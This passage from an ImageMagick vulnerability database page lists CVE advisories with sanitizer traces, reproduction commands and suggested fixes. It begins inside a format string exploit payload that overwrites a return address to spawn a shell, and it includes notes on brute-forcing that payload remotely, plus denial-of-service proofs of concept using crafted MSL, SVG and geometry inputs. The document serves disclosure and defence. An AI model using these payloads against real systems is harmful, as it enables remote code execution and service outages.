%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa ``` The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges. <br> **Exploitation Process:** 1. Format string payload corrupts stack pointers through positional parameters 2. Multiple 2-byte writes (%hn) progressively overwrite the return address 3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85) 4. One-gadget executes `/bin/sh` with inherited process permissions <br> **Remote Exploitation Feasibility:** While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access. <br> **Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure. **Note:** This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system. <br> ## Impact This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges. The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks. <br> ## Suggested Fix Two potential mitigation approaches: 1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString` 2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString` <br> ## Credits ### Team Daemon Fuzz Hunters **Bug Hunting Master Program, HSpace/Findthegap** <br> **Woojin Park** @jin-156 [1203kids@gmail.com](mailto:1203kids@gmail.com) **Hojun Lee** @leehohojune [leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr) **Youngin Won** @amethyst0225 [youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr) **Siyeon Han** @hanbunny [kokosyeon@gmail.com](mailto:kokosyeon@gmail.com) # Additional notes from the ImageMagick team: On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation: To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive: - In wrappers: `filename:literal` - From the command line: `-define filename:literal=true` |
Affected by 22 other vulnerabilities. |
|
VCID-rbdg-vz8x-ykah
Aliases: CVE-2026-28688 GHSA-xxw5-m53x-j38c |
ImageMagick has heap use-after-free in the MSL encoder A heap-use-after-free vulnerability exists in the MSL encoder, where a cloned image is destroyed twice. The MSL coder does not support writing MSL so the write capability has been removed. ``` SUMMARY: AddressSanitizer: heap-use-after-free MagickCore/image.c:1195 in DestroyImage Shadow bytes around the buggy address: 0x0a4e80007450: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007460: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007470: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007490: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0a4e800074a0: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd 0x0a4e800074b0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa 0x0a4e800074c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa ``` |
Affected by 0 other vulnerabilities. |
|
VCID-rjkf-pdny-2fhn
Aliases: CVE-2026-28494 GHSA-932h-jw47-73jm |
ImageMagick vulnerable to stack corruption through long morphology kernel names or arrays A stack buffer overflow exists in ImageMagick's morphology kernel parsing functions. User-controlled kernel strings exceeding a buffer are copied into fixed-size stack buffers via memcpy without bounds checking, resulting in stack corruption. |
Affected by 0 other vulnerabilities. |
|
VCID-ruf5-255v-sfdb
Aliases: CVE-2026-25576 GHSA-jv4p-gjwq-9r2j |
ImageMagick: Out of bounds read in multiple coders read raw pixel data A heap buffer over-read vulnerability exists in multiple raw image format handles. The vulnerability occurs when processing images with -extract dimensions larger than -size dimensions, causing out-of-bounds memory reads from a heap-allocated buffer. |
Affected by 22 other vulnerabilities. |
|
VCID-sd54-b8z1-2fg7
Aliases: CVE-2026-25989 GHSA-7355-pwx2-pm84 |
ImageMagick: Integer overflow or wraparound and incorrect conversion between numeric types in the internal SVG decoder A crafted SVG file can cause a denial of service. An off-by-one boundary check (`>` instead of `>=`) that allows bypass the guard and reach an undefined `(size_t)` cast. |
Affected by 22 other vulnerabilities. |
|
VCID-sdc2-fcap-abaz
Aliases: CVE-2026-25982 GHSA-pmq6-8289-hx3v |
ImageMagick has Heap Out-of-Bounds Read in DCM Decoder (ReadDCMImage) A heap out-of-bounds read vulnerability exists in the `coders/dcm.c` module. When processing DICOM files with a specific configuration, the decoder loop incorrectly reads bytes per iteration. This causes the function to read past the end of the allocated buffer, potentially leading to a Denial of Service (crash) or Information Disclosure (leaking heap memory into the image). |
Affected by 22 other vulnerabilities. |
|
VCID-spch-fffg-4yc5
Aliases: CVE-2025-65955 GHSA-q3hc-j9x5-mp9m |
Withdrawn Advisory: ImageMagick has a use-after-free/double-free risk in Options::fontFamily when clearing family ## Withdrawn Advisory This advisory has been withdrawn because it does not affect the ImageMagick project's NuGet packages. ### Original Description We believe that we have discovered a potential security vulnerability in ImageMagick’s Magick++ layer that manifests when `Options::fontFamily` is invoked with an empty string. **Vulnerability Details** - Clearing a font family calls `RelinquishMagickMemory` on `_drawInfo->font`, freeing the font string but leaving `_drawInfo->font` pointing to freed memory while `_drawInfo->family` is set to that (now-invalid) pointer. Any later cleanup or reuse of `_drawInfo->font` re-frees or dereferences dangling memory. - `DestroyDrawInfo` and other setters (`Options::font`, `Image::font`) assume `_drawInfo->font` remains valid, so destruction or subsequent updates trigger crashes or heap corruption. ```cpp if (family_.length() == 0) { _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font); DestroyString(RemoveImageOption(imageInfo(),"family")); } ``` - **CWE-416 (Use After Free):** `_drawInfo->font` is left dangling yet still reachable through the Options object. - **CWE-415 (Double Free):** DrawInfo teardown frees `_drawInfo->font` again, provoking allocator aborts. **Affected Versions** - Introduced by commit `6409f34d637a34a1c643632aa849371ec8b3b5a8` (“Added fontFamily to the Image class of Magick++”, 2015-08-01, blame line 313). - Present in all releases that include that commit, at least ImageMagick 7.0.1-0 and later (likely late 6.9 builds with Magick++ font family support as well). Older releases without `fontFamily` are unaffected. **Command Line Triggerability** This vulnerability cannot be triggered from the command line interface. The bug is specific to the Magick++ C++ API, specifically the `Options::fontFamily()` method. The command-line utilities (such as `convert`, `magick`, etc.) do not expose this particular code path, as they operate through different internal mechanisms that do not directly call `Options::fontFamily()` with an empty string in a way that would trigger the use-after-free condition. **Proposed Fix** ```diff diff --git a/Magick++/lib/Options.cpp b/Magick++/lib/Options.cpp @@ void Magick::Options::fontFamily(const std::string &family_) - _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font); + _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->family); ``` This frees only the actual family string, leaving `_drawInfo->font` untouched. Optionally nulling `_drawInfo->font` when clearing `font()` itself maintains allocator hygiene. |
Affected by 22 other vulnerabilities. |
|
VCID-sw7g-hxxr-n3e1
Aliases: CVE-2026-28689 GHSA-493f-jh8w-qhx3 |
ImageMagick has a Path Policy TOCTOU symlink race bypass `domain="path"` authorization is checked before final file open/use. A symlink swap between check-time and use-time bypasses policy-denied read/write. |
Affected by 0 other vulnerabilities. |
|
VCID-tt6z-t31v-dkdd
Aliases: CVE-2026-33536 GHSA-8793-7xv6-82cf |
ImageMagick has an Out-of-bounds Write via InterpretImageFilename Due to an incorrect return value on certain platforms a pointer is incremented past the end of a buffer that is on the stack and that could result in an out of bounds write. ``` ================================================================= ==48558==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x00016b9b7490 at pc 0x0001046d48ac bp 0x00016b9b31d0 sp 0x00016b9b31c8 WRITE of size 1 at 0x00016b9b7490 thread T0 ``` |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-tv15-dcnu-pbbn
Aliases: CVE-2026-26284 GHSA-wrhr-rf8j-r842 |
ImageMagick: Heap overflow in pcd decoder leads to out of bounds read. The pcd coder lacks proper boundary checking when processing Huffman-coded data. The decoder contains an function that has an incorrect initialization that could cause an out of bounds read. ``` ==3900053==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000003c6c at pc 0x55601b9cc552 bp 0x7ffd904b1f70 sp 0x7ffd904b1f60 READ of size 1 at 0x502000003c6c thread T0 ``` |
Affected by 0 other vulnerabilities. |
|
VCID-utfe-h3b7-jqcj
Aliases: CVE-2026-25971 GHSA-8mpr-6xr2-chhc |
ImageMagick: MSL - Stack overflow in ProcessMSLScript ### Summary Magick fails to check for circular references between two MSLs, leading to a stack overflow. ### Details After reading a.msl using magick, the following is displayed: `MSLStartElement` -> `ReadImage` -> `ReadMSLImage` -> `ProcessMSLScript` -> `xmlParseChunk` -> `xmlParseTryOrFinish` -> `MSLStartElement` ```bash AddressSanitizer:DEADLYSIGNAL ================================================================= ==114345==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x72509fc7d804 bp 0x7ffd6598b390 sp 0x7ffd6598ab20 T0) #0 0x72509fc7d804 in strlen ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:388 [...] ``` |
Affected by 0 other vulnerabilities. |
|
VCID-uwj5-1fkf-7qg9
Aliases: CVE-2025-55212 GHSA-fh55-q5pj-pxgw |
ImageMagick affected by divide-by-zero in ThumbnailImage via montage -geometry ":" leads to crash ## Summary Passing a geometry string containing only a colon (":") to montage -geometry leads GetGeometry() to set width/height to 0. Later, ThumbnailImage() divides by these zero dimensions, triggering a crash (SIGFPE/abort), resulting in a denial of service. ## Details **Root Cause** 1. `montage -geometry ":" ...` reaches `MagickCore/geometry.c:GetGeometry().` 2. `StringToDouble/InterpretLocaleValue` parses `":"` as `0.0;` then: https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355 `WidthValue` (and/or `HeightValue)` is set with a zero dimension. 3. In MagickCore/resize.c:ThumbnailImage(), the code computes: https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629 causing a division by zero and immediate crash. The issue is trivially triggerable without external input files (e.g., using `xc:white`). ### Reproduction Environment ``` Version: ImageMagick 7.1.2-1 (Beta) Q16-HDRI x86_64 0ba1b587b:20250812 https://imagemagick.org Features: Cipher DPC HDRI Delegates (built-in): bzlib fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff x xml zlib Compiler: clang (14.0.0) OS/Arch: Linux x86_64 ``` Steps ``` ./bin/magick montage -geometry : xc:white null: ``` Observed result ``` IOT instruction (core dumped) # (Environment-dependent: SIGFPE/abort may be observed.) ``` ## PoC No external file required; the pseudo image xc:white suffices: ``` ./bin/magick montage -geometry : xc:white null: ``` ## Impact - **Denial of Service:** A divide-by-zero in `ThumbnailImage()` causes immediate abnormal termination (e.g., SIGFPE/abort), crashing the ImageMagick process. ## Suggested fix Defensively reject zero dimensions early in `ThumbnailImage()`: ```c if ((columns == 0) || (rows == 0)) { (void) ThrowMagickException(exception, GetMagickModule(), OptionError, "InvalidGeometry", "thumbnail requires non-zero dimensions: %.20gx%.20g", (double) columns, (double) rows); return (Image *) NULL; } ``` Additionally, consider tightening validation in `GetGeometry()` so that colon-only (and similar malformed) inputs do not yield `WidthValue/HeightValue` with zero, or are rejected outright. Variants like `"x:"` or `":x"` may also need explicit handling (maintainer confirmation requested). ## Credits ### Team Daemon Fuzz Hunters **Bug Hunting Master Program, HSpace/Findthegap** <br> **Woojin Park** @jin-156 [1203kids@gmail.com](mailto:1203kids@gmail.com) **Hojun Lee** @leehohojune [leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr) **Youngin Won** @amethyst0225 [youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr) **Siyeon Han** @hanbunny [kokosyeon@gmail.com](mailto:kokosyeon@gmail.com) |
Affected by 22 other vulnerabilities. |
|
VCID-vaks-d4k5-zue7
Aliases: CVE-2026-23874 GHSA-9vj4-wc7r-p844 |
ImageMagick MSL: Stack overflow via infinite recursion in ProcessMSLScript ## Summary Stack overflow via infinite recursion in MSL (Magick Scripting Language) `<write>` command when writing to MSL format. ## Version - ImageMagick 7.x (tested on current main branch) - Commit: HEAD - Requires: libxml2 support (for MSL parsing) ## Steps to Reproduce ### Method 1: Using ImageMagick directly ```bash magick MSL:recursive.msl out.png ``` ### Method 2: Using OSS-Fuzz reproduce ```bash python3 infra/helper.py build_fuzzers imagemagick python3 infra/helper.py reproduce imagemagick msl_fuzzer recursive.msl ``` Or run the fuzzer directly: ```bash ./msl_fuzzer recursive.msl ``` ## Expected Behavior ImageMagick should handle recursive MSL references gracefully by detecting the loop and returning an error. ## Actual Behavior Stack overflow causes process crash: ``` AddressSanitizer:DEADLYSIGNAL ==PID==ERROR: AddressSanitizer: stack-overflow #0 MSLStartElement /src/imagemagick/coders/msl.c:7045 #1 xmlParseStartTag /src/libxml2/parser.c #2 xmlParseChunk /src/libxml2/parser.c:11273 #3 ProcessMSLScript /src/imagemagick/coders/msl.c:7405 #4 WriteMSLImage /src/imagemagick/coders/msl.c:7867 #5 WriteImage /src/imagemagick/MagickCore/constitute.c:1346 #6 MSLStartElement /src/imagemagick/coders/msl.c:7045 ... (infinite recursion, 287+ frames) ``` ## Root Cause Analysis In `coders/msl.c`, the `<write>` command handler in `MSLStartElement()` (line ~7045) calls `WriteImage()`. When the output filename specifies MSL format (`msl:filename`), `WriteMSLImage()` is called, which parses the MSL file again via `ProcessMSLScript()`. If the MSL file references itself (directly or indirectly), this creates an infinite recursion loop: ``` MSLStartElement() → WriteImage() → WriteMSLImage() → ProcessMSLScript() → xmlParseChunk() → MSLStartElement() → ... (infinite loop) ``` ## Impact - **DoS**: Guaranteed crash via stack exhaustion - **Affected**: Any application using ImageMagick to process user-supplied MSL files ## Additional Trigger Paths The `<read>` command can also trigger recursion: Indirect recursion is also possible (a.msl → b.msl → a.msl). ## Fuzzer This issue was discovered using a custom MSL fuzzer: ```cpp #include <cstdint> #include <Magick++/Blob.h> #include <Magick++/Image.h> #include "utils.cc" extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if (IsInvalidSize(Size)) return(0); try { const Magick::Blob blob(Data, Size); Magick::Image image; image.magick("MSL"); image.fileName("MSL:"); image.read(blob); } catch (Magick::Exception) { } return(0); } ``` This issue was found by Team FuzzingBrain @ Texas A&M University |
Affected by 22 other vulnerabilities. |
|
VCID-vpdn-g1k9-1kdn
Aliases: CVE-2026-25986 GHSA-mqfc-82jx-3mr2 |
ImageMagick has heap buffer overflow in YUV 4:2:2 decoder A heap buffer overflow write vulnerability exists in ReadYUVImage() (coders/yuv.c) when processing malicious YUV 4:2:2 (NoInterlace) images. The pixel-pair loop writes one pixel beyond the allocated row buffer. ``` ================================================================= ==204642==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5170000002e0 at pc 0x562d21a7e8de bp 0x7fffa9ae1270 sp 0x7fffa9ae1260 WRITE of size 8 at 0x5170000002e0 thread T0 ``` |
Affected by 22 other vulnerabilities. |
|
VCID-x8c1-btup-4ygu
Aliases: CVE-2025-66628 GHSA-6hjr-v6g4-3fm8 |
ImageMagick is vulnerable to an integer Overflow in TIM decoder leading to out of bounds read (32-bit only) The TIM (PSX TIM) image parser in ImageMagick contains a critical integer overflow vulnerability in the `ReadTIMImage` function (`coders/tim.c`). The code reads `width` and `height` (16-bit values) from the file header and calculates `image_size = 2 * width * height` without checking for overflow. On 32-bit systems (or where `size_t` is 32-bit), this calculation can overflow if `width` and `height` are large (e.g., 65535), wrapping around to a small value. This results in a small heap allocation via `AcquireQuantumMemory` and later operations relying on the dimensions can trigger an out of bounds read. |
Affected by 22 other vulnerabilities. |
|
VCID-x8c6-9pse-xkc8
Aliases: CVE-2026-28693 GHSA-hffp-q43q-qq76 |
ImageMagick: Integer overflow in DIB coder can result in out of bounds read or write An integer overflow in DIB coder can result in out of bounds read or write |
Affected by 0 other vulnerabilities. |
|
VCID-y4hn-6bv6-jugw
Aliases: CVE-2026-25968 GHSA-3mwp-xqp2-q6ph |
ImageMagick: MSL attribute stack buffer overflow leads to out of bounds write. A stack buffer overflow occurs when processing the an attribute in msl.c. A long value overflows a fixed-size stack buffer, leading to memory corruption. ``` ================================================================= ==278522==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb8c76984 at pc 0x55a4bf16f507 bp 0x7ffdb8c75bc0 sp 0x7ffdb8c75bb0 WRITE of size 1 at 0x7ffdb8c76984 thread T0 ``` |
Affected by 22 other vulnerabilities. |
|
VCID-y58b-be93-hbfd
Aliases: CVE-2026-28686 GHSA-467j-76j7-5885 |
ImageMagick: Write heap-buffer-overflow in PCL encoder via undersized output buffer A heap-buffer-overflow vulnerability exists in the PCL encode due to an undersized output buffer allocation. ``` WRITE of size 1 at 0x7e79f91f31a0 thread T0 ``` |
Affected by 0 other vulnerabilities. |
|
VCID-yx7r-r7ez-7uhp
Aliases: CVE-2026-25797 GHSA-rw6c-xp26-225v |
ImageMagick: Code Injection via PostScript header in ps coders The ps encoders, responsible for writing PostScript files, fails to sanitize the input before writing it into the PostScript header. An attacker can provide a malicious file and inject arbitrary PostScript code. When the resulting file is processed by a printer or a viewer (like Ghostscript), the injected code is interpreted and executed. The html encoder does not properly escape strings that are written to in the html document. An attacker can provide a malicious file and injection arbitrary html code. |
Affected by 22 other vulnerabilities. |
|
VCID-z9t9-bxf9-hkfk
Aliases: CVE-2026-25796 GHSA-g2pr-qxjg-7r2w |
ImageMagick has memory leak of watermark Image object in ReadSTEGANOImage on multiple error/early-return paths ### Summary In `ReadSTEGANOImage()` (`coders/stegano.c`), the `watermark` Image object is not freed on three early-return paths, resulting in a definite memory leak (~13.5KB+ per invocation) that can be exploited for denial of service. ``` Direct leak of 13512 byte(s) in 1 object(s) allocated from: #0 0x7f5c11e27887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x55cdc38f65c4 in AcquireMagickMemory MagickCore/memory.c:536 #2 0x55cdc38f65eb in AcquireCriticalMemory MagickCore/memory.c:612 #3 0x55cdc3899e91 in AcquireImage MagickCore/image.c:154 ``` |
Affected by 22 other vulnerabilities. |
|
VCID-zab9-9tqj-hbhg
Aliases: CVE-2026-25985 GHSA-v7g2-m8c5-mf84 |
ImageMagick: Memory allocation with excessive without limits in the internal SVG decoder A crafted SVG file containing an malicious element causes ImageMagick to attempt to allocate ~674 GB of memory, leading to an out-of-memory abort. Found via AFL++ fuzzing with afl-clang-lto instrumentation and AddressSanitizer. |
Affected by 0 other vulnerabilities. |
|
VCID-zvq4-ybph-buga
Aliases: CVE-2026-33535 GHSA-mw3m-pqr2-qv7c |
ImageMagick has an Out-of-Bounds write of a zero byte in its X11 display interaction An out-of-bounds write of a zero byte exists in the X11 `display` interaction path that could lead to a crash. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-12rd-dhh3-h3ea | ImageMagick: denial of service in cineon parsing component |
CVE-2019-11470
|
| VCID-152y-9pjj-p7b7 | ImageMagick: memory leaks at AcquireMagickMemory because of an error in MagickWand/mogrify.c |
CVE-2019-13310
|
| VCID-18rv-b2mg-jbex | Multiple vulnerabilities have been discovered in ImageMagick, the worst of which can lead to remote code execution. |
CVE-2021-20224
|
| VCID-2dgn-j4dn-9fcd | imagemagick: use of uninitialized value in functionSyncImageSettings in MagickCore/image.c |
CVE-2019-12979
|
| VCID-2dwv-ndt5-gfg2 | ImageMagick: division by zero at MagickCore/geometry.c |
CVE-2020-27756
|
| VCID-2m38-vt4m-5ffa | ImageMagick: Stack buffer overflow in XPM coder could result in a crash |
CVE-2020-19667
|
| VCID-3bbh-2exn-m7ac | security update |
CVE-2019-19948
|
| VCID-3qad-mewf-8khz | ImageMagick: Memory leak in the WritePDFImage function in coders/pdf.c |
CVE-2019-7397
|
| VCID-3zbe-p6ue-ffe8 | ImageMagick: division by zero at MagickCore/segment.c |
CVE-2020-27765
|
| VCID-41xr-8ryd-z3ew | ImageMagick: integer overflow in MagickCore/quantum-export.c |
CVE-2020-27751
|
| VCID-453d-2nac-jbdc | ImageMagick: outside the range of representable values of type 'unsigned long' at MagickCore/statistic.c |
CVE-2020-27764
|
| VCID-46ey-s7sy-9qby | ImageMagick: memory leaks at AcquireMagickMemory due to mishandling the NoSuchImage error in CLIListOperatorImages |
CVE-2019-13309
|
| VCID-4az8-8361-7bg2 | security update |
CVE-2019-13305
|
| VCID-4f97-2smu-6qfc | ImageMagick: outside the range of representable values of type 'unsigned char' at MagickCore/quantum.h |
CVE-2020-27775
|
| VCID-4s25-p8ea-zkh7 | ImageMagick: heap-based buffer overflow in PopShortPixel in MagickCore/quantum-private.h |
CVE-2020-27752
|
| VCID-56xz-svu7-eue2 | ImageMagick: heap-buffer-overflow in PushCharPixel() in quantum-private.h |
CVE-2023-3745
|
| VCID-5a4x-wwha-pufn | ImageMagick: heap-based buffer over-read in the function WritePNMImage of coders/pnm.c leading to DoS or information disclosure |
CVE-2019-11598
|
| VCID-6279-tc7g-g3ag | ImageMagick: outside the range of representable values of type 'unsigned int' at MagickCore/quantum-private.h |
CVE-2020-27768
|
| VCID-68kj-s42g-effd | ImageMagick: memory leak in coders/dot.c |
CVE-2019-16710
|
| VCID-6bf2-uh5z-kfg7 | ImageMagick: outside the range of representable values of type 'unsigned long' at coders/palm.c |
CVE-2020-27761
|
| VCID-6vvv-g1fm-4bdn | ImageMagick: Specially crafted SVG leads to segmentation fault and generate trash files in "/tmp", possible to leverage DoS ### Summary Specially crafted SVG file make segmentation fault and generate trash files in "/tmp", possible to leverage DoS. ### Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara) ### Tested ImageMagick version 6.9.11-60, 7.1.0-62 ### Details A specially created SVG file that loads by itself and make segmentation fault. Remote attackers can take advantage of this vulnerability to cause a denial of service of the generated SVG file. It seems that this error affects a lot of websites and causes a generating trash files in ```/tmp``` when uploading this PC file to the server. I think it's better to check the file descriptor coming from itself before executing ```read()```. ### PoC 1. Generate SVG file: ```<?xml version="1.0" standalone="yes"?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="bad.svg" /> </svg> ``` 2. Run some commands for verification: ```$rm -f /tmp/* $./magick --version Version: ImageMagick 7.1.0-62 Q16-HDRI x86_64 74b3683a4:20230211 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5) Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler: gcc (7.5) $./magick convert -verbose -font OpenSymbol bad.svg t.jpg 'inkscape' '/tmp/magick-ixX13JwrwrLUhyucKsGxechsQtEN4Zji' 